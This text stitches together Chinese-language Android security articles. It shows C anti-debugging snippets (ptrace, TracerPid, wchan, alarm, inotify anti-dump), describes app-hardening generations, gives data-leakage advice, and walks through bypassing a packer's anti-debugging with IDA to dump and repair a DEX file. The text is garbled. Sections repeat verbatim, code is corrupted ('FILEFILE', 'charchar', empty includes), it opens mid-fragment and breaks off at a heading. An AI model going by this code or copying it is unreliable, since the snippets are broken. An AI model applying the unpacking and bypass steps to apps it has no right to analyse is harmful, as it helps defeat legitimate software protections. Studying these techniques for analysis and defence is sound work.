#!cpp static int getWchanStatus(int pid) { FILEFILE *fp= NULL; char filename; char wchaninfo = {0}; int result = WCHAN_ELSE; char cmd = {0}; sprintf(cmd,"cat /proc/%d/wchan",pid); LOGANTI("cmd= %s",cmd); FILEFILE *ptr; if((ptr=popen(cmd, "r")) != NULL) { if(fgets(wchaninfo, 128, ptr) != NULL) { LOGANTI("wchaninfo= %s",wchaninfo); } } if(strncasecmp(wchaninfo,"sys_epoll\0",strlen("sys_epoll\0")) == 0) result = WCHAN_RUNNING; else if(strncasecmp(wchaninfo,"ptrace_stop\0",strlen("ptrace_stop\0")) == 0) result = WCHAN_TRACING; return result; }

e.ptrace 自身或者fork子进程相互ptrace

#!cpp if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) { printf("DEBUGGING... Bye\n"); return 1; } void anti_ptrace(void) { pid_t child; child = fork(); if (child) wait(NULL); else { pid_t parent = getppid(); if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) while(1); sleep(1); ptrace(PTRACE_DETACH, parent, 0, 0); exit(0); } }

f.设置程序运行最大时间
这种方法经常在CTF比赛中看到。由于程序在调试时的断点、检查修改内存等操作,运行时间往往要远大于正常运行时间。所以,一旦程序运行时间过长,便可能是由于正在被调试。 具体地,在程序启动时,通过alarm设置定时,到达时则中止程序。示例代码如下:
#!cpp #include #include #include void alarmHandler(int sig) { printf("Debugger detected"); exit(1); } void__attribute__((constructor))setupSig(void) { signal(SIGALRM, alarmHandler); alarm(2); } int main(int argc, char *argv
) { printf("All good"); return 0; }
在此例中,我们通过__attribute__((constructor)),在程序启动时便设置好定时。实际运行中,当我们使用gdb在main函数下断点,稍候片刻后继续执行时,则触发了SIGALRM,进而检测到调试器。如下图所示:
p5
顺便一提,这种方式可以轻易地被绕过。我们可以设置gdb对signal的处理方式,如果我们选择将SIGALRM忽略而非传递给程序,则alarmHandler便不会被执行,如下图所示:
p6

g.检查进程打开的filedescriptor
如2.2中所说,如果被调试的进程是通过gdb 的方式启动,那么它便是由gdb进程fork得到的。而fork在调用时,父进程所拥有的fd(file descriptor)会被子进程继承。由于gdb在往往会打开多个fd,因此如果进程拥有的fd较多,则可能是继承自gdb的,即进程在被调试。 具体地,进程拥有的fd会在/proc/self/fd/下列出。于是我们的示例代码如下:
#!cpp #include #include int main(int argc, char *argv
) { struct dirent *dir; DIR *d = opendir("/proc/self/fd"); while(dir=readdir(d)) { if(!strcmp(dir->d_name, "5")) { printf("Debugger detected"); return 1; } } closedir(d); printf("All good"); return 0; }
这里,我们检查/proc/self/fd/中是否包含fd为5。由于fd从0开始编号,所以fd为5则说明已经打开了6个文件。如果程序正常运行则不会打开这么多,所以由此来判断是否被调试。运行结果见下图:
p7

h.防止dump
利用Inotify机制,对/proc/pid/mem和/proc/pid/pagemap文件进行监视。inotify API提供了监视文件系统的事件机制,可用于监视个体文件,或者监控目录。具体原理可参考:http://man7.org/linux/man-pages/man7/inotify.7.html 伪代码:
#!cpp void __fastcall anitInotify(int flag) { MemorPagemap = flag; charchar *pagemap = "/proc/%d/pagemap"; charchar *mem = "/proc/%d/mem"; pagemap_addr = (charchar *)malloc(0x100u); mem_addr = (charchar *)malloc(0x100u); ret = sprintf(pagemap_addr, &pagemap, pid_); ret = sprintf(mem_addr, &mem, pid_); if ( !MemorPagemap ) { ret = pthread_create(&th, 0, (voidvoid *(*)(voidvoid *)) inotity_func, mem_addr); if ( ret >= 0 ) ret = pthread_detach(th); } if ( MemorPagemap == 1 ) { ret = pthread_create(&newthread, 0, (voidvoid *(*)(voidvoid *)) inotity_func, pagemap_addr); if(ret > 0) ret = pthread_detach(th); } } void __fastcall __noreturn inotity_func(const charchar *inotity_file) { const charchar *name; // r4@1 signed int fd; // r8@1 bool flag; // zf@3 bool ret; // nf@3 ssize_t length; // r10@3 ssize_t i; // r9@7 fd_set readfds; // @2 char event; // @1 name = inotity_file; memset(buffer, 0, 0x400u); fd = inotify_init(); inotify_add_watch(fd, name, 0xFFFu); while ( 1 ) { do { memset(&readfds, 0, 0x80u); } while ( select(fd + 1, &readfds, 0, 0, 0) <= 0 ); length = read(fd, event, 0x400u); flag = length == 0; ret = length < 0; if ( length >= 0 ) { if ( !ret && !flag ) { i = 0; do { inotity_kill((int)&event); i += *(_DWORD *)&event + 16; } while ( length > i ); } } else { while ( *(_DWORD *)_errno() == 4 ) { length = read(fd, buffer, 0x400u); flag = length == 0; ret = length < 0; if ( length >= 0 ) } } } }

i.对read做hook
因为一般的内存dump都会调用到read函数,所以对read做内存hook,检测read数据是否在自己需要保护的空间来阻止dump
j.设置单步调试陷阱

#!cpp int handler() { return bsd_signal(5, 0); } int set_SIGTRAP() { int result; bsd_signal(5, (int)handler); result = raise(5); return result; }

http://www.freebuf.com/tools/83509.html' rel='nofollow'/>| (pde->d_name
> '9')) { continue; } sprintf(buff, "/proc/%s/status", pde->d_name); pf = fopen(buff, "r"); if (pf) { fgets(buff, sizeof(buff), pf); fclose(pf); sscanf(buff, "%*s %s", szName); pid = atoi(pde->d_name); if (strcmp(szName, as_name) == 0) { closedir(pdir); return pid; } } } closedir(pdir); return 0; }

c.读取进程状态(/proc/pid/status)
State属性值T 表示调试状态,TracerPid 属性值正在调试此进程的pid,在非调试情况下State为S或R, TracerPid等于0
p2
由此,我们便可通过检查status文件中TracerPid的值来判断是否有正在被调试。示例代码如下:
#!cpp #include #include int main(int argc, char *argv
) { int i; scanf("%d", &i); char buf1
; FILE* fin; fin = fopen("/proc/self/status", "r"); int tpid; const char *needle = "TracerPid:"; size_t nl = strlen(needle); while(fgets(buf1, 512, fin)) { if(!strncmp(buf1, needle, nl)) { sscanf(buf1, "TracerPid: %d", &tpid); if(tpid != 0) { printf("Debuggerdetected"); return 1; } } } fclose(fin); printf("All good"); return 0; }
实际运行结果如下图所示:
p3

值得注意的是,/proc目录下包含了进程的大量信息。我们在这里是读取status文件,此外,也可通过/proc/self/stat文件来获得进程相关信息,包括运行状态。


d.读取/proc/%d/wchan
下图中第一个红色框值为非调试状态值,第二个红色框值为调试状态:
p4

#!cpp static int getWchanStatus(int pid) { FILEFILE *fp= NULL; char filename; char wchaninfo = {0}; int result = WCHAN_ELSE; char cmd = {0}; sprintf(cmd,"cat /proc/%d/wchan",pid); LOGANTI("cmd= %s",cmd); FILEFILE *ptr; if((ptr=popen(cmd, "r")) != NULL) { if(fgets(wchaninfo, 128, ptr) != NULL) { LOGANTI("wchaninfo= %s",wchaninfo); } } if(strncasecmp(wchaninfo,"sys_epoll\0",strlen("sys_epoll\0")) == 0) result = WCHAN_RUNNING; else if(strncasecmp(wchaninfo,"ptrace_stop\0",strlen("ptrace_stop\0")) == 0) result = WCHAN_TRACING; return result; }

e.ptrace 自身或者fork子进程相互ptrace

#!cpp if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) { printf("DEBUGGING... Bye\n"); return 1; } void anti_ptrace(void) { pid_t child; child = fork(); if (child) wait(NULL); else { pid_t parent = getppid(); if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) while(1); sleep(1); ptrace(PTRACE_DETACH, parent, 0, 0); exit(0); } }

f.设置程序运行最大时间
这种方法经常在CTF比赛中看到。由于程序在调试时的断点、检查修改内存等操作,运行时间往往要远大于正常运行时间。所以,一旦程序运行时间过长,便可能是由于正在被调试。 具体地,在程序启动时,通过alarm设置定时,到达时则中止程序。示例代码如下:
#!cpp #include #include #include void alarmHandler(int sig) { printf("Debugger detected"); exit(1); } void__attribute__((constructor))setupSig(void) { signal(SIGALRM, alarmHandler); alarm(2); } int main(int argc, char *argv
) { printf("All good"); return 0; }
在此例中,我们通过__attribute__((constructor)),在程序启动时便设置好定时。实际运行中,当我们使用gdb在main函数下断点,稍候片刻后继续执行时,则触发了SIGALRM,进而检测到调试器。如下图所示:
p5
顺便一提,这种方式可以轻易地被绕过。我们可以设置gdb对signal的处理方式,如果我们选择将SIGALRM忽略而非传递给程序,则alarmHandler便不会被执行,如下图所示:
p6

g.检查进程打开的filedescriptor
如2.2中所说,如果被调试的进程是通过gdb 的方式启动,那么它便是由gdb进程fork得到的。而fork在调用时,父进程所拥有的fd(file descriptor)会被子进程继承。由于gdb在往往会打开多个fd,因此如果进程拥有的fd较多,则可能是继承自gdb的,即进程在被调试。 具体地,进程拥有的fd会在/proc/self/fd/下列出。于是我们的示例代码如下:
#!cpp #include #include int main(int argc, char *argv
) { struct dirent *dir; DIR *d = opendir("/proc/self/fd"); while(dir=readdir(d)) { if(!strcmp(dir->d_name, "5")) { printf("Debugger detected"); return 1; } } closedir(d); printf("All good"); return 0; }
这里,我们检查/proc/self/fd/中是否包含fd为5。由于fd从0开始编号,所以fd为5则说明已经打开了6个文件。如果程序正常运行则不会打开这么多,所以由此来判断是否被调试。运行结果见下图:
p7

h.防止dump
利用Inotify机制,对/proc/pid/mem和/proc/pid/pagemap文件进行监视。inotify API提供了监视文件系统的事件机制,可用于监视个体文件,或者监控目录。具体原理可参考:http://man7.org/linux/man-pages/man7/inotify.7.html 伪代码:
#!cpp void __fastcall anitInotify(int flag) { MemorPagemap = flag; charchar *pagemap = "/proc/%d/pagemap"; charchar *mem = "/proc/%d/mem"; pagemap_addr = (charchar *)malloc(0x100u); mem_addr = (charchar *)malloc(0x100u); ret = sprintf(pagemap_addr, &pagemap, pid_); ret = sprintf(mem_addr, &mem, pid_); if ( !MemorPagemap ) { ret = pthread_create(&th, 0, (voidvoid *(*)(voidvoid *)) inotity_func, mem_addr); if ( ret >= 0 ) ret = pthread_detach(th); } if ( MemorPagemap == 1 ) { ret = pthread_create(&newthread, 0, (voidvoid *(*)(voidvoid *)) inotity_func, pagemap_addr); if(ret > 0) ret = pthread_detach(th); } } void __fastcall __noreturn inotity_func(const charchar *inotity_file) { const charchar *name; // r4@1 signed int fd; // r8@1 bool flag; // zf@3 bool ret; // nf@3 ssize_t length; // r10@3 ssize_t i; // r9@7 fd_set readfds; // @2 char event; // @1 name = inotity_file; memset(buffer, 0, 0x400u); fd = inotify_init(); inotify_add_watch(fd, name, 0xFFFu); while ( 1 ) { do { memset(&readfds, 0, 0x80u); } while ( select(fd + 1, &readfds, 0, 0, 0) <= 0 ); length = read(fd, event, 0x400u); flag = length == 0; ret = length < 0; if ( length >= 0 ) { if ( !ret && !flag ) { i = 0; do { inotity_kill((int)&event); i += *(_DWORD *)&event + 16; } while ( length > i ); } } else { while ( *(_DWORD *)_errno() == 4 ) { length = read(fd, buffer, 0x400u); flag = length == 0; ret = length < 0; if ( length >= 0 ) } } } }

i.对read做hook
因为一般的内存dump都会调用到read函数,所以对read做内存hook,检测read数据是否在自己需要保护的空间来阻止dump
j.设置单步调试陷阱

#!cpp int handler() { return bsd_signal(5, 0); } int set_SIGTRAP() { int result; bsd_signal(5, (int)handler); result = raise(5); return result; }

http://www.freebuf.com/tools/83509.html

应用加固技术

移动应用加固技术从产生到现在,一共经历了三代:
- 第一代是基于类加载器的方式实现保护; 第二代是基于方法替换的方式实现保护; 第三代是基于虚拟机指令集的方式实现保护。
第一代加固技术:类加载器 以梆梆加固为例,类加载器主要做了如下工作: classes.dex被完整加密,放到APK的资源中 采用动态劫持虚拟机的类载入引擎的技术 虚拟机能够载入并运行加密的classes.dex 使用一代加固技术以后的apk加载流程发生了变化如下:
p8
应用启动以后,会首先启动保护代码,保护代码会启动反调试、完整性检测等机制,之后再加载真实的代码。 一代加固技术的优势在于:可以完整的保护APK,支持反调试、完整性校验等。 一代加固技术的缺点是加固前的classes.dex文件会被完整的导入到内存中,可以用内存dump工具直接导出未加固的classes.dex文件。 第二代加固技术:类方法替换 第二代加固技术采用了类方法替换的技术:
- 将原APK中的所有方法的代码提取出来,单独加密 运行时动态劫持Dalvik虚拟机中解析方法的代码,将解密后的代码交给虚拟机执行引擎
采用本技术的优势为:
- 每个方法单独解密,内存中无完整的解密代码 如果某个方法没有执行,不会解密 在内存中dump代码的成本代价很高
使用二代加固技术以后,启动流程增加了一个解析函数代码的过程,如下图所示:
p9
第三代加固技术:虚拟机指令集 第三代加固技术是基于虚拟机执行引擎替换方式,所做主要工作如下:
- 将原APK中的所有的代码采用一种自定义的指令格式进行替换 运行时动态劫持Dalvik虚拟机中执行引擎,使用自定义执行引擎执行自定义的代码 类似于PC上的VMProtect采用的技术
三代技术的优点如下:
- 具有2.0的所有优点 破解需要破解自定义的指令格式,复杂度非常高

简介

OWASP移动安全漏洞Top 10中第4个就是无意识的数据泄漏。当应用程序存储数据的位置本身是脆弱的时,就会造成无意识的数据泄漏。这些位置可能包括剪贴板,URL缓存,浏览器的Cookies,HTML5数据存储,分析数据等等。例如,一个用户在登录银行应用的时候已经把密码复制到了剪贴板,恶意应用程序通过访问用户剪贴板数据就可以获取密码了。

避免缓存网络数据

数据可以在用户无意识的情况下被各种工具捕获。开发人员经常忽视包括log/debug输出信息,Cookies,Web历史记录,Web缓存等的一些数据存储方式存在的安全隐患。例如,通常浏览器访问页面时,会在临时文件夹下保存页面的html,js,图片等等。当页面上包含敏感信息时,这些信息也会存储在临时文件中。这就造成了安全隐患。在移动设备上尽可能不要存储/缓存敏感数据。这是避免设备上缓存的数据泄漏的最好的方式。
开发建议
为了防止HTTP缓存,特别是HTTPS传输数据的缓存,开发人员应该配置Android不缓存网络数据。 为了避免为任何Web过程(如注册)缓存URL历史记录和页面数据,我们应该在Web服务器上配置HTTP缓存头。HTTP协议1.1版中,规定了缓存的使用。其中,Cache-Control: no-store这个应答头可以满足我们的需要。Cache-Control:no-store要求浏览器必须不存储响应或者引起响应的请求的任何内容。对于Web应用程序,HTML表单输入可以通过设置autocomplete=off让浏览器不缓存值。避免缓存应该在应用程序使用后通过对设备数据的取证进行验证。 如果你的应用程序通过WebView访问敏感数据,你可以使用 clearCache()方法来删除任何存储在本地的文件。

Android:避免GUI对象缓存

由于多任务处理的原因,整个应用程序都可以驻留在内存中,所以Android应用程序界面也会驻留在内存中。发现或者盗取了设备的攻击者可以直接查看到仍然驻留在内存中的用户之前查看过的界面,并看到仍显示在GUI上的所以数据。银行应用程序就是一个例子,一个用户查看了交易记录,然后“退出”应用程序。攻击者通过直接启动交易视图activity可以看到以前的交易被显示出来。
开发建议

- 当用户注销登录的时候退出整个app。这虽然是违反android设计原则的,但是却更加安全,因为GUI界面被销毁、回收了。 在每一个activity(界面)启动的时候检测用户是否处于登录状态,如果没有则跳转到登录界面。 在用户离开(切换)应用界面或者注销登录时清除gui界面的数据

限制用户名缓存

如果缓存了用户名,在运行时,用户名会在任何类型的身份验证之前加载进内存,从而允许潜在的恶意进程截获用户名。
开发建议
很难做到既便利地为用户存储用户名,同时又能避免不安全的存储或潜在的运行时拦截造成的信息泄漏。尽管用户名不像密码那样敏感,但它属于隐私数据应该得到保护。一个安全性较高的缓存用户名的可行的方法就是存储掩蔽的用户名,而不是真实的用户名,如在身份认证的时候用hash值代替用户名。这个hash值可以包含一个唯一的设备token,这个设备token是在用户注册时获取的。使用hash和设备token的好处就是真实的用户名并没有存储在本地,也不会在加载进内存后得不到保护,将这个值复制到其它设备或者在web上使用都会因获取到的设备token值不同而不能使用。攻击者必须挖掘更多的信息(明文帐号、设备特征码、密码)才能成功的窃取用户凭证。

留意键盘缓存

键盘缓存是意外的数据泄漏问题之一。安卓键盘包含一个用户字典,如果一个用户在文本框输入一些文本,输入法就可能通过用户字典缓存一些由用户输入的数据,用于以后对用户的输入进行自动纠错。而此用户字典不需要什么特殊权限就在任何应用中使用。恶意软件可以通过获取键盘缓存提取这些数据。缓存的内容超出了应用程序的管理权限,所以应用程序不能从缓存中删除数据。
https://www.youtube.com/watch?v=o6SlUy5mmBQ

开发建议
对于任何敏感信息(不仅对密码字段)禁用自动纠错的功能。因为键盘缓存的敏感信息可能是可恢复的。 为了提高安全性,可以考虑实现自绘键盘,它可以禁用缓存,并提供其它的保护功能,如键盘监听保护。

复制和粘贴

无论数据源是否加密,存在于剪贴板中的敏感数据都是可以被任意修改的。如果用户复制的是明文敏感数据,那么其它应用程序通过访问剪贴板就可以获取到该明文敏感数据了。
修复:
在适当的情况下,禁用复制/粘贴处理敏感数据。消除复制选项可以减少数据暴露的风险。在安卓系统上,可以通过任何应用程序访问剪贴板,因此,如果需要共享敏感数据,建议使用content provider。

敏感文件删除

Android通过调用file.delete()是不能安全地把文件抹去。只要文件不被覆盖就可以被进行恢复。Android Data Recovery就具备这个功能。
开发建议
开发者应该假定写入设备的任何数据都可以被恢复。因此,在某些情况下,加密可以提供额外的一层保护。 另外一种可能方法是删除一个文件,然后创建一个大文件覆盖所有的可用空间,迫使NAND闪存擦除所有未分配空间也是可能的。这种技术的缺点是损耗NAND闪存,导致应用和整个设备的响应速度变慢,显著增加功耗。对于大多数应用不建议使用此方法。理想的解决办法是尽可能不要在设备上存储敏感信息。

屏幕截取和录制防范

Android 5.0新增的屏幕录制接口,无需特殊权限,使用如下系统API即可实现屏幕录制功能:
p1
发起录制请求后,系统弹出如下提示框请求用户确认:
p2
在上图中,“AZ Screen Recorder”为需要录制屏幕的软件名称,“将开始截取您的屏幕上显示的所有内容”是系统自带的提示信息,不可更改或删除。用户点击“立即开始”便开始录制屏幕,录制完成后在指定的目录生成mp4文件。 但其中存在着漏洞
http://www.freebuf.com/vuls/81905.html
攻击者只需要给恶意程序构造一段特殊的,读起来很“合理的”应用程序名,就可以将该提示框变成一个UI陷阱,使其失去原有的“录屏授权”提示功能,并使恶意程序在用户不知情的情况下录制用户手机屏幕。
开发建议
在涉及用户隐私的Acitivity中(例如登录,支付等其他输入敏感信息的界面中)增加WindowManager.LayoutParams.FLAG_SECURE属性,该属性能防止屏幕被截图和录制。

参考资料


http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html

http://resources.infosecinstitute.com/ios-application-security-part-20-local-data-storage-nsuserdefaults-coredata-sqlite-plist-files/

https://www.nowsecure.com/resources/secure-mobile-development/caching-and-logging/limit-caching-of-username/

https://www.nowsecure.com/resources/secure-mobile-development/caching-and-logging/be-aware-of-the-keyboard-cache/

https://www.nowsecure.com/resources/secure-mobile-development/caching-and-logging/be-aware-of-copy-paste/

http://www.freebuf.com/vuls/81905.html

前言

Android应用的加固和对抗不断升级,单纯的静态加固效果已无法满足需求,所以出现了隐藏方法加固,运行时动态恢复和反调试等方法来对抗,本文通过实例来分析有哪些对抗和反调试手段。

对抗反编译

首先使用apktool进行反编译,发现该应用使用的加固方式会让apktool卡死,通过调试apktool源码(如何调试apktool可参见前文《Android应用资源文件格式解析与保护对抗研究》),发现解析时抛出异常,如下图: 根据异常信息可知是readSmallUint出错,调用者是getDebugInfo,查看源码如下: 可见其在计算该偏移处的uleb值时得到的结果小于0,从而抛出异常。 在前文《Android程序的反编译对抗研究》中介绍了DEX的文件格式,其中提到与DebugInfo相关的字段为DexCode结构的debugInfoOff字段。猜测应该是在此处做了手脚,在010editor中打开dex文件,运行模板DEXTemplate.bt,找到debugInfoOff字段。果然,该值被设置为了0xFEEEEEEE。 接下来修复就比较简单了,由于debugInfoOff一般情况下是无关紧要的字段,所以只要关闭异常就行了。 为了保险起见,在readSmallUint方法后面添加一个新方法readSmallUint_DebugInfo,复制readSmallUint的代码,if语句内result赋值为0并注释掉抛异常代码。 然后在getDebugInfo中调用readSmallUint_DebugInfo即可。 重新编译apktool,对apk进行反编译,一切正常。 然而以上只是开胃菜,虽然apktool可以正常反编译了,但查看反编译后的smali代码,发现所有的虚方法都是native方法,而且类的初始化方法中开头多了2行代码,如下图: 其基本原理是在dex文件中隐藏虚方法,运行后在第一次加载类时通过在方法(如果没有方法,则会自动添加该方法)中调用ProxyApplication的init方法来恢复被隐藏的虚方法,其中字符串"aHcuaGVsbG93b3JsZC5NYWluQWN0aXZpdHk="是当前类名的base64编码。 ProxyApplication类只有2个方法,clinit和init,clinit主要是判断系统版本和架构,加载指定版本的so保护模块(X86或ARM);而init方法也是native方法,调用时直接进入了so模块。 那么它是如何恢复被隐藏的方法的呢?这就要深入SO模块内部一探究竟了。

动态调试so模块

如何使用IDA调试android的SO模块,网上有很多教程,这里简单说明一下。 1. 准备工作 1.1准备好模拟器并安装目标APP。 1.2 将IDA\dbgsrv\目录下的android_server复制到模拟器里,并赋予可执行权限。
adb push d:\IDA\dbgsrv\android_server /data/data/sv adb shell chmod 755 /data/data/sv
1.3 运行android_server,默认监听23946端口。
adb shell /data/data/sv
1.4 端口转发。
adb forward tcp:23946 tcp:23946
2 以调试模式启动APP,模拟器将出现等待调试器的对话框。
adb shell am start -D -n hw.helloworld/hw.helloworld.MainActivity
3 启动IDA,打开debugger->attach->remote Armlinux/andoid debugger,设置hostname为localhost,port为23946,点击OK;然后选择要调试的APP并点击OK。 这时,正常状态下会断下来: 然后设置在模块加载时中断: 点击OK,按F9运行。 然后打开DDMS并执行以下命令,模拟器就会自动断下来: jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 (如果出现如下无法附加到目标VM的错误,可尝试端口8600) 此时,可在IDA中正常下断点调试,这里我们断JNI_OnLoad和init函数。 由于IDA调试器还不够完善,单步调试的时候经常报错,最好先做一个内存快照,然后分析关键点的函数调用,在关键点下断而不是单步调试。

反调试初探

一般反调试在JNI_OnLoad中执行,也有的是在INIT_ARRAY段和INIT段中早于JNI_OnLoad执行。可通过readelf工具查看INIT_ARRAY段和INIT段的信息,定位到对应代码进行分析。 INIT_ARRAY如下: 其中函数sub_80407A88的代码如下,通过检测时间差来检测是否中间有被单步调试执行: sub_8040903C函数里就是脱壳了,首先读取/proc/self/maps找到自身模块基址,然后解析ELF文件格式,从程序头部表中找到类型为PT_LOAD,p_offset!=0的程序头部表项,并从该程序段末尾读取自定义的数组,该数组保存了被加密的代码的偏移和大小,然后逐项解密。 函数check_com_android_reverse里检测是否加载了com.android.reverse,检测到则直接退出。 JNI_OnLoad函数中有几个关键的函数调用: call_system_property_get检测手机上的一些硬件信息,判断是否在调试器中。 checkProcStatus函数检测进程的状态,打开/proc/$PID/status,读取第6行得到TracerPid,发现被跟踪调试则直接退出。 通过命令行查询进程信息,一共有3个同名进程,创建顺序为33->415->430->431。其中415和431处于调试状态: 进程415被进程405(即IDA的android_server)调试: 进程431被其父进程430调试: 要过这种反调试可在调用点直接修改跳转指令,让代码在检测到被调试后继续正常的执行路径,或者干脆nop掉整个函数即可。 检测调试之后,就是调用ptrace附加自身,防止其他进程再一次附加,起到反调试作用。 修改跳转指令BNE(0xD1)为B(0xE0),直接返回即可。 当然,更加彻底的方法是修改android源码中bionic中的libc中的ptrace系统调用。检测到一个进程试图附加自身时直接返回0即可。 上面几处反调试点在检测到调试器后都直接调用exit()退出进程了,所以直接nop掉后按F9执行。然后就断在了init函数入口,顺利过掉反调试: init函数在每个类加载的时候被调用,用于恢复当前类的被隐藏方法.首次调用时解密dex文件末尾的附加数据,得到事先保存的所有类的方法属性,然后根据传入的类名查找该类的被隐藏方法,并恢复对应属性字段。 执行完init函数,当前类的方法已经恢复了。然后转到dex文件的内存地址 dump出dex文件,保存为dump.dex。 0x04 恢复隐藏方法 对比一下原始dex文件,发现dex文件末尾的附加数据被解密出来了: 仔细分析一下附加数据的数据结构可以发现,它是一个数组,保存了所有类的所有方法的method_idx、access_flags、code_off、debug_info_off属性,解密后的这些属性都是uint类型的,如下图: 其中黄色框里的就是MainActivity的各方法的属性,知道这些就可以修复dex文件,恢复出被隐藏的方法了。下图就是恢复后的MainActivity类: 0x05 总结 以上就是通过实例分析展示出来的对抗和反调试手段。so模块中的反调试手段比较初级,可以非常简单的手工patch内存指令过掉,而隐藏方法的这种手段对art模式不兼容,不推荐使用这种方法加固应用。总的来说还是过于简单。预计未来通过虚拟机来加固应用将是一大发展方向。

背景及意义

本文为乌云峰会上《Android应用程序通用自动脱壳方法研究》的扩展延伸版。 Android应用程序相比传统PC应用程序更容易被逆向,因为被逆向后能够完整的还原出Java代码或者smali中间语言,两者都具有很丰富的高层语义信息,理解起来更为容易,让程序逻辑轻易暴露给技术能力甚至并不需要很高门槛的攻击者面前。因此Android应用程序加固保护服务随之应运而生。从一开始只有甲方公司提供服务到现在大型互联网公司都有自己的加固保护服务,同时与金钱相关的Android应用程序例如银行等也越来越多开始使用加固保护自己,这个市场在不断的扩大。 一个典型的加固保护服务通常能够提供如下保护:防逆向,防篡改,反调试,反窃取等功能。加固服务虽然不能够避免和防止应用程序自身的安全问题和漏洞,但能够有效的保护程序真实逻辑,保护应用程序完整性。但是这些特点同时也容易被恶意程序利用,有数据表明随着加固保护的流行,加壳恶意程序的比例也在不断上升。一方面恶意程序分析需要先脱壳,另一方面正常的应用程序如果被轻易脱壳后分析,其面临的风险也会上升。

研究对象

通常加固服务提供DEX的整体加固方案和定制化的加固。定制化的加固通常需要与开发更为紧密的结合,可能涉及更深层次加固(如native代码加固等),而DEX整体加固只需要用户提供编译好的Android应用程序APK即可。前者目前缺乏样本并需要与加固厂商深度合作,而后者被大多数加固服务厂商作为最基本的免费服务提供,因而后者被使用的更为广泛。本文主要研究对象是针对后者的Android应用程序可执行文件DEX的保护,即DEX文件加密,旨在研究通用的DEX文件恢复方法。而定制化的加固服务或针对native代码的混淆保护等不在本文研究范围内。

加固服务特点

我们通过一个静态逆向加固方法的例子来详细描述加固服务通常具有的特点。该例子是几个月前某加固厂商使用的方案,由于加固服务经常变换解密算法和方案,因此实现细节并不适用于现在的产品,或其他加固服务,但整体的加固思想和方法和使用的保护手段基本上大同小异。 通常当我们用静态工具分析一个加固后的APP时,AndroidManifest.xml文件里会在保留原始的所有信息,包括定义的组件、权限等等的基础上,新增一个入口点类,通常是application。 而DEX的代码是这样的。 DEX代码只包含很少的类和代码,其主要是做些检测工作或者准备工作,然后通过载入一个native库去动态加载原始的DEX文件。由于使用了动态加载机制,因此加固过的DEX文件中不会涉及原始DEX的真正代码(也有一些加固并没有采取完整DEX的动态加载)。 接着使用IDA去逆向入口点加载运行的native代码,通常so库也是被混淆加壳的。手段包括破坏ELF头部信息让IDA解析失败,如下图: 通过readelf可以明显看到ELF头部的几个字段是有问题的。 修复之后,IDA可以正常反汇编so文件了。接着我们从入口点开始分析,会发现F5反编译成C代码会有问题,多个函数内容都不能反编译成正常的C代码。直接看汇编代码看到如下的花指令: 这是我们总结的该产品的花指令模式。它会通过压栈跳转出栈的方式让反编译的函数辨识出现问题,因为反编译通常会认为一个压栈操作为函数调用,而其实他通过压栈,计算寄存器值,跳转再出栈让反编译失效后并平衡栈后,再执行一条真正有用的指令。因此上述例子中只有两条真正有用的指令。 通过写脚本甚至是人工的方式可以把真正的汇编指令提取出来。提取后再逆向代码,其功能是去解密JNI_OnLoad函数。JNI_OnLoad会从一段数据中再解密出另一个ELF文件,而此时这个新的ELF文件还不能正确反汇编,后面的代码会接着对该ELF进行数据的修正。先解压新ELF文件中的text端,从text端中提取一个key再去解密rotext,最后才解密出一个真正的对DEX的壳程序,形如: 以上步骤其实是一个ELF文件的壳。新的被解密修正后的ELF文件才是真正对DEX壳的解密程序。这个程序并没有混淆或者加壳,通过逆向后发现,他会取原始DEX后的一段padding数据,获取一些解密和解压需要的参数,对整段padding数据解密解压,就能得到真正原始的DEX文件了。当然ELF中还包括一些反调试反分析的代码,由于我们这是静态分析,不需要顾及这部分代码,如果是使用调试器去附加进程使用dump等动态分析时就需要考虑怎么优雅的bypass这些反调试技巧了。 以上例子是一个动态加载DEX的例子,虽然不同的加固服务在很多技术细节包括解密算法、花指令模式、ELF壳等等上天差地别,但基本上能够代表绝大多数使用动态加载DEX方式的加固服务的整体解密释放运行和静态逆向和破解它的思想方法。我们也是以这个例子来管中窥豹。因为频繁的变换解密算法和加固方式也是加固服务的第一大特点。 同时事实上还存在一些加固并没有使用完整DEX文件的动态加载机制,而是使用运行时动态自修改,这种机制下加固后的DEX文件中将存在原始DEX中的部分准确信息,但受保护的部分代码还是会选择其他方式隐藏。另外还有两者相结合的方式。后面的案例分析中我们将有所涉及。 总结一下,一个加固过的Android应用程序实际上主要是隐藏真正的DEX文件,其自身也会加入诸多保护措施来防止被轻易逆向。可以看到如果纯静态逆向分析其脱壳算法会非常耗时耗力,另外不同的加固服务采取不一样的算法,而每个本身又会频繁变换算法和加固技术让纯静态的逆向脱壳方法短时间内就失效。同时加固服务还会采取除DEX动态加载以外的诸多安卓应用程序保护措施,我们这里稍作总结,并不展开,因为这部分内容甚至可以单独写文章详细说。 第一大类是完整性检验。包含了在运行时对自身的完整性校验,如检查内存中DEX文件的检验值和检查应用程序证书来检测是否被重打包及插入代码。以及对自身环境的检测,如通过检查特定设备文件等方式检测模拟器,通过ptrace或者进程状态等方式检测是否被调试,hook特定的函数防止代码内存被读取或dump等。 第二大类是代码混淆。通常混淆需要基于源码或字节码上修改,其目的是为了让分析者更难以理解程序的语义。最常见的包括修改变量名,方法名,类名等,加密常量字符串,使用Java反射机制调用方法,插入垃圾指令或无效代码打乱程序控制流,使用更为复杂的操作替换原始的基本指令,使用JNI方法打断控制流等。 第三大类我们定义为防分析或代码隐藏技术,其目的是为了用各种方法防止程序代码被直接暴露,轻易分析。最常见的就是上述的DEX整体加密保护,以及运行时动态自修改。运行时动态自修改主要是在程序运行时当执行到特定的类或方法时才将代码解密并执行,同时还可能动态之后才修正或修改部分dalvik数据结构让分析变得困难。另外一些防分析技术需要利用一些小的技巧。例如利用静态分析工具的bug,或解析时的特性来做对抗,包括曾经出现的manifest cheating,APK伪加密,dex文件中的方法隐藏,插入非法指令或不存在的类让静态分析工具崩溃等等。

脱壳方法思想

